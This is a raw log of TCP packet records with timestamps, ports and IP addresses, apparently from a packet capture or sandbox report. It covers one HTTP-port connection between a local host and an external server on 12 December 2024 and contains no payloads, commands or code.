Dec 12, 2024 16:48:21.275993109 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:21.276030064 CET	49864	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:21.276084900 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:21.276339054 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:21.395988941 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:22.766161919 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:22.766278982 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:22.766302109 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:22.766335011 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:22.766345978 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:22.766369104 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:22.766396046 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:22.766442060 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:22.766453981 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:22.766465902 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:22.766489983 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:22.766505003 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:22.766608000 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:22.766629934 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:22.766643047 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:22.766648054 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:22.766666889 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:22.766678095 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:22.886158943 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:22.886250973 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:22.886255026 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:22.886302948 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:22.890269995 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:22.890331984 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:22.958043098 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:22.958082914 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:22.958112001 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:22.958137035 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:22.962163925 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:22.962229967 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:22.963761091 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:22.963810921 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:22.963850975 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:22.963890076 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:22.972217083 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:22.972301960 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:22.972357035 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:22.980509996 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:22.980571032 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:22.980621099 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:22.980752945 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:22.988950014 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:22.989018917 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:22.989044905 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:22.989044905 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:22.997307062 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:22.997369051 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:22.997396946 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:22.997396946 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.005707026 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.005763054 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.005774975 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.005820036 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.014106035 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.014169931 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.014172077 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.014291048 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.022420883 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.022480011 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.022511959 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.022631884 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.030836105 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.030914068 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.031008005 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.031213999 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.038436890 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.038522005 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.038556099 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.038594961 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.078032017 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.078090906 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.078109026 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.078377008 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.151426077 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.151494980 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.151535988 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.151798964 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.152736902 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.152820110 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.152848005 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.152888060 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.157295942 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.157313108 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.157350063 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.157366991 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.160805941 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.160908937 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.160957098 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.165371895 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.165417910 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.165451050 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.165504932 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.169913054 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.169962883 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.169985056 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.170026064 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.174443007 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.174617052 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.174618006 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.174671888 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.178910971 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.178981066 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.179034948 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.183432102 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.183506012 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.183541059 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.183814049 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.187979937 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.188035965 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.188052893 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.188337088 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.192513943 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.192557096 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.192594051 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.192616940 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.196923971 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.197009087 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.197038889 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.198103905 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.201541901 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.201637030 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.201697111 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.206036091 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.206083059 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.206096888 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.206387043 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.210505009 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.210573912 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.210621119 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.213959932 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.214066982 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.214114904 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.217492104 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.217582941 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.217607021 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.217628956 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.221018076 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.221065998 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.221090078 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.221129894 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.224519014 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.224570036 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.224648952 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.224756956 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.227998018 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.228091002 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.228096008 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.228133917 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.231525898 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.231590986 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.231642008 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.231678963 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.235059023 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.235163927 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.235215902 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.238487959 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.238543987 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.238581896 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.238640070 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.271353006 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.271414995 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.343776941 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.343791962 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.343842983 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.343866110 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.345150948 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.345204115 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.345230103 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.345267057 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.347846031 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.347887039 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.347986937 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.348099947 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.350704908 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.350750923 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.350805044 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.353359938 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.353414059 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.353426933 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.353687048 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.356004953 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.356048107 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.356132984 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.356331110 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.358658075 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.358719110 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.358800888 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.358841896 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.361211061 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.361264944 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.361289978 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.361329079 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.363751888 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.363796949 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.363893986 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.364082098 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.366288900 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.366333008 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.366414070 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.366624117 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.368561983 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.368623972 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.368649960 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.368694067 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.371053934 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.371103048 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.371149063 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.371190071 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.373466969 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.373532057 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.373554945 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.373589039 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.376033068 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.376077890 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.376140118 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.376185894 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.378541946 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.378642082 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.378727913 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.380846977 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.380861044 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.380909920 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.380935907 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.383204937 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.383289099 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.383326054 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.383642912 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.385765076 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.385817051 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.385857105 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.385900021 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.388159990 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.388221025 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.388286114 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.388515949 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.390546083 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.390595913 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.390619040 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.390793085 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.393102884 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.393188953 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.393371105 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.393570900 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.395437956 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.395572901 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.395606041 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.395606041 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.397923946 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.397978067 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.398010969 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.398053885 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.399746895 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.399804115 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.399939060 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.399980068 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.401623011 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.401679039 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.401704073 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.401742935 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.403341055 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.403389931 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.403505087 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.403543949 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.405137062 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.405200958 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.405244112 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.406980038 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.407021999 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.407172918 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.407393932 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.408817053 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.408859015 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.408920050 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.409118891 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.410636902 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.410687923 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.410785913 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.410830975 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.412558079 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.412570953 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.412611961 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.412625074 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.414293051 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.414339066 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.414412022 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.414657116 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.416122913 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.416168928 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.416217089 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.418005943 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.418128014 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.418139935 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.418170929 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.419783115 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.419840097 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.419877052 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.420161009 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.535650015 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.535746098 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.535790920 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.536218882 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.536405087 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.536494970 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.536520004 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.536566973 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.538419008 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.538460970 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.538502932 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.538552999 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.539815903 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.539863110 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.539906025 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.539948940 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.541140079 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.541188955 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.541435957 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.541477919 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.542618036 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.542742968 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.542799950 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.544133902 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.544265985 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.544325113 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.545631886 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.545708895 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.545753956 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.547178984 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.547388077 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.547442913 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.548562050 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.548613071 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.548650026 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.548691988 CET	49875	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:23.550103903 CET	80	49875	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:23.550158978 CET	49875	80	192.168.2.11	80.82.65.70
